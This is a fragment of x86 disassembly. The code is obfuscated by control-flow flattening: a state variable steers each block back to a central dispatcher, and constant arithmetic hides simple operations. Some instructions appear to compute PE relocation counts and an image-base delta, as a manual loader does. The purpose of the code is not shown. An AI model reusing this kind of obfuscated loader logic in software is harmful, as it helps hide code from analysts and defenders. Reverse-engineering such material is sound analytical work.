sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x9011ce17
sub ecx, 8
add ecx, 0x9011ce17
shr ecx, 1
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dword [eax], 0
mov dword [ebp - 0x138], 0x7bc104ee
jmp 0x100071c1
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x138], 0xc79ea7a3
jmp 0x100071c1
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x138], 0x538c80dd
jmp 0x100071c1
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x421b30c0
jmp 0x100071c1
mov dword [ebp - 0x138], 0xaa5e6772
jmp 0x100071c1
jmp 0x100038f0